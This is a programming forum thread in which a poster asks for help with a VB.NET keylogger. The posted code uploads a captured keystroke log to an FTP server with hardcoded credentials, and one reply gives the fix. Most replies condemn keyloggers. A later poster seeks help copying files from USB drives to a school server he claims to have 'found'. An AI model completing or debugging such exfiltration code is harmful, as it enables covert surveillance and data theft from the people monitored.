Keylogger Problem

(I did not write this code. . . Doing it for a friend :D)

I made this keylogger, and this one line of code acts up whenever I start and test the program!

Code:

Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click If System.IO.File.Exists("C:\WINDOWS\RedSkeleton.txt") Then My.Computer.Network.UploadFile("C:\WINDOWS\RedSkeleton.txt", "FTP://192.168.0.6:6089", "RedSkeleton", "keylogger") End If End Sub

The whole thing gets hi-lited yellow! Pleas help!

I would think that the error message would speak for itself.

Yours obviously doesn't.

Re: Keylogger Problem

Obviously, the filename!
Instead of ftp://whatever/, put ftp://whatever/myfilename.txt.

Is this an evil key logger or a good one?

There is no such thing as a good key logger. The very definition of a key logger is built on malicious purposes. Even if the OP has fooled himself into believing that his actions are just, they never are ;)

My employees know they are being monitored and keylogged when they use company computers.

Also i know plenty of parents who monitor what their children do on the computer through a keylogger.

How are these bad keyloggers? You may have just offended many people my friend.

Like I mentioned, regardless of the justification people give themselves, Key Loggers are bad.

It doesn't matter if there are useful purposes for keyloggers, it is against the forum's AUP to help someone write one, so odds are this thread will be locked as soon as a moderator sees it.

Re: Keylogger Problem

This is not for keylogger. I want to copy some files from usb and if internet connection is available upload through ftp, if isn't save to location in computer. ;) (for school purposes :) )

Now i have another problem :S .
I got this error:

Code:

The remote server returned an error: (550) File unavailable (e.g., file not found, no access).

I set connection timeout on 5000, but i still get this error.

Re: Keylogger Problem

if that's the case, you shouldn't have hijacked a thread about kepy loggers that is OVER ONE YEAR OLD....

Re: Keylogger Problem

That's awesome. I hadn't even realized he hijacked the thread. I guess that's what I get for now looking at everything :p

Re: Keylogger Problem

I agree with on post #4 jmcilhinney.
Why would you even want to make a keylogger for?

I would hope this is not true. Anyone so thin skinned is going to have a bit of rough time in this life.

@Blagojce:

1. If this isn't a keylogger, then as techgnome asks, why did you post in a year old thread about keylogging?

2. Does your account have the necessary access rights to the remote server that would allow you to perform the task? If not, and this is for a legitimate school function then you really don't need help from us. Take it up with the IT people at your school.

@Hack
1. I posted here because i have the same problem.
2. Yes, i have full access rights to remote server because i found the host. IT people in our school don't understand programming.

I have full access rights to my neighbours house because I found his spare key. He doesn't understand security.

Re: Keylogger Problem

I think "IT People in our school don't understand programming" is in response to "Take it up with the IT people at your school".

And what piece of code caused this error?

Re: Keylogger Problem

Seriously, I think this REALLY needs to be moved to its own thread... rather than continuing to hijack the thread. Especially since you claim the problem has nothing to do with the original posting.

Post the code that causes this error, and I agree that you should start a new thread.
